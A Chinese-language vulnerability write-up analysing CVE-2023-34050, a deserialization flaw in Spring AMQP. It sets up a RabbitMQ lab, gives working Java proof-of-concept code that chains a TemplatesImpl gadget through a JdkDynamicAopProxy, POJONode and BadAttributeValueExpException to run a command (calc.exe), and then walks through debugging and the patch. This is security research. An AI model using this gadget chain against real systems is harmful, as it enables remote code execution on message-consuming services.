1. 前言
官方公告:
https://spring.io/security/cve-2023-34050
漏洞描述:
利用条件:
-
使用 SimpleMessageConverter 或 SerializerMessageConverter
-
用户未配置允许列表模式
-
不受信任的消息发起者获得将消息写入 RabbitMQ 代理以发送恶意内容的权限
影响版本:
Spring AMQP:
Spring Boot 2.7.17、3.0.12、3.1.5、3.2.0版本之前。
修复建议:
-
不允许不受信任的来源访问 RabbitMQ 服务器
-
版本低于 2.4.17 的用户应升级到 2.4.17
-
使用版本 3.0.0 至 3.0.9 的用户应升级到 3.0.10
简介:
2. 环境搭建
创建一个 Spring Boot 项目,引入图中几个模块。
也可以手动添加 spring-rabbit 依赖:
<dependency>
<groupId>org.springframework.amqp</groupId>
<artifactId>spring-rabbit</artifactId>
<version>2.4.16</version>
</dependency>
这里使用的 Spring Boot 版本是 2.7.16,对应的 Spring AMQP 版本是 2.4.16;
导入 commons-beanutils 依赖,作为可利用的反序列化链。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
需要起一个 RabbitMQ 服务,使用 docker 搭建,执行如下命令:
docker run -d --name my-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3-management
docker ps看到启动后的信息;
访问对应端口,默认用户名/密码是guest/guest,登录则可以看到 RabbitMQ 管理页面。
然后在 Spring Boot 中配置 RabbitMQ 服务的IP、端口、用户名、密码;
spring.rabbitmq.host=192.168.xxx.xxx
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=guest
server.port = 8081
写一个配置类,自定义一个myQueue队列和myExchange交换机,并且绑定myExchange和myQueue,使myExchange交换机接收到的消息发送到myQueue队列;
import org.springframework.amqp.core.*;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
public class RabbitConfig {
//自定义队列
public Queue MyQueue() {
return new Queue("myQueue", true);
}
//自定义交换机
public DirectExchange MyExchange() {
return new DirectExchange("myExchange");
}
//绑定交换机和队列
public Binding binding() {
return BindingBuilder.bind(MyQueue()).to(MyExchange()).with("blckder02");
}
}
在管理页面可以看到创建的交换机和队列,以及绑定信息;如果代码绑定不成功,就手动在管理页面绑定。
写一个发送消息的方法,其中routingKey字段要和上面绑定交换机和队列处with(“blckder02”)一致,这里都设为blckder02;
import org.springframework.amqp.rabbit.core.RabbitTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
public class MessageSenderService {
private final RabbitTemplate rabbitTemplate;
public MessageSenderService(RabbitTemplate rabbitTemplate) {
this.rabbitTemplate = rabbitTemplate;
}
public void sendMessage (Object message) {
rabbitTemplate.convertAndSend("myExchange", "blckder02", message);
System.out.println("Message Sent Success");
}
}
再写一个监听myQueue队列的方法,使用@RabbitListener指定要监听的队列名称;
import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.stereotype.Service;
@Service
public class MyService {
@RabbitListener(queues = "myQueue")
public void recevie(Object result) {
System.out.println("监听到消息了");
System.out.println(result);
}
}
简单写一个 Controller 测试一下服务搭建是否成功;
public class MessageController {
private final MessageSenderService messageSenderService;
public MessageController(MessageSenderService messageSenderService) {
this.messageSenderService = messageSenderService;
}
"/testsend") (
public void testsendMessage (Object message) {
messageSenderService.sendMessage("Hello RabbitMQ!");
}
}
下断点慢慢执行,就可以看见队列中的消息数量,执行太快的话消息很快就处理完了,就不会显示;
能显示则说明服务搭建成功。
3. poc构造
先准备一个 CommonBeanutils 的反序列化链的 templatesImpl 对象,抛出AmqpRejectAndDontRequeueException异常,避免陷入死循环;
public class CommonBeanutils1 {
public static TemplatesImpl createTemplatesImpl(String cmd) {
try {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmdSrc = String.format("try { java.lang.Runtime.getRuntime().exec("" + cmd + ""); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException("err"); } ");
cc.makeClassInitializer().insertBefore(cmdSrc);
String randomClassName = "Calc" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
setField(templates, "_name", "name");
setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_class", null);
return templates;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static void setField(Object object,String field,Object args) throws Exception{
Field f0 = object.getClass().getDeclaredField(field);
f0.setAccessible(true);
f0.set(object,args);
}
}
在 Controller 中定义发送消息的方法,templates 需要用一个可被序列化的类包裹,POJONode依次继承于ValueNode -> BaseJsonNode并实现Serializable接口;
但是 POJONode 是 Jackson 包中的类,由于 Jackson 反序列化链不稳定,所以需要构造一个 JdkDynamicAopProxy 类的代理类,以保证稳定调用TemplatesImpl#getOutputProperties();
而将 POJONode 对象赋给 BadAttributeValueExpException 对象的val值,则是为了通过BadAttributeValueExpException.readObject()调用POJONode.toString(),从而调用到TemplatesImpl#getOutputProperties()。
"/send") (
public void sendMessage (Object message) throws Exception {
TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl("calc.exe");
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);
POJONode pojoNode = new POJONode(templatesProxy);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
CommonBeanutils1.setField(poc, "val", pojoNode);
messageSenderService.sendMessage(poc);
}
还有一个重要的点,就是重新定义com.fasterxml.jackson.databind.node .BaseJsonNode,并且删除writeReplace()方法,这样就不会出现java.lang.NullPointerException。具体原因文末细说。
运行看看,成功执行命令,并且消息中能看到传递的 poc 。
4. 调试分析
直接跟进RabbitTemplate.conveAndSend(),先将消息转换为Message类型,调用的消息转换器是默认的SimpleMessageConverter;
在进行toMessage()时会调用createMessage(),这里面会判断传入消息对象的类型,这里 BadAttributeValueExpException 对象是实现了 Serializable 接口的,所以将对象进行序列化,并且把 content-type 类型设为application/x-java-serialized-object,然后返回 Message 对象;
然后将 Message 发送到 Rabbit 服务;
在监听接收消息时,会调用SimpleMessageConverter.fromMessage(),判断了 content-type 类型符合application/x-java-serialized-object,于是调用SerializationUtils.deserialize()对 message 进行反序列化;
在 SimpleMessageConverter 中重写了CodebaseAwareObjectInputStream#resolveClass()方法,调用了checkAllowedList()对反序列化的类进行校验;
然而allowedListPatterns默认为空,并没有起到白名单校验的作用,就导致任意类都允许被反序列化;
最后看到熟悉的触发点。
5. 补丁分析
补丁地址:https://github.com/spring-projects/spring-amqp/compare/v2.4.16…v2.4.17?diff=split
Spring AMQP 2.4.17 相较于 2.4.16 版本新增了环境变量SPRING_AMQP_DESERIALIZATION_TRUST_ALL和 JVM 属性spring.amqp.deserialization.trust.all,只有两个值都为 true时, TRUST_ALL变量才为 true;
在checkAllowedList()方法中也是增加了对TRUST_ALL的判断。
6. 踩的坑
因为对 AMQP 不是很熟悉,试错了好多次才勉强复现出来。
1.删除 BaseJsonNode.writeReplace
使用原本的 BaseJsonNode 的话,在发送消息序列化的时候会调用BaseJsonNode.writeReplace(),最后也会调用TemplatesImpl.getOutputProperties()触发命令执行;
但是这里触发后会报错NullPointerException,导致消息传递中断。
删除掉BaseJsonNode.writeReplace()就调用的是UnmodifiableRandomAccessList.writeReplace(),消息能继续传递。
2.Jackson 反序列化链不稳定
可以学习这篇文章:https://xz.aliyun.com/t/12846
3. 抛出 org.springframework.amqp.AmqpRejectAndDontRequeueException异常
因为在执行 CommonBeanutils 链时必然会出现报错,导致消息处理不成功,就会让消息重新排队处理,然后又报错,陷入死循环。
抛出这个异常可以避免无限次地重试失败的消息,节约系统资源。
4. 消息未处理,删除队列
由于消息处理失败,还是会留存在队中,处于unacked状态,当测试程序再次启动时,就会优先处理队列中留存消息。
所以在复现过程中如果队列中还留存有上一次测试的消息,可以把队列删除重新创建。
参考链接:
https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/
https://boogipop.com/2023/04/24/AliyunCTF 2023 WriteUP/
https://blog.csdn.net/qq_43655835/article/details/106827158
原文始发于微信公众号(中孚安全技术研究):Spring AMQP 反序列化漏洞分析(CVE-2023-34050)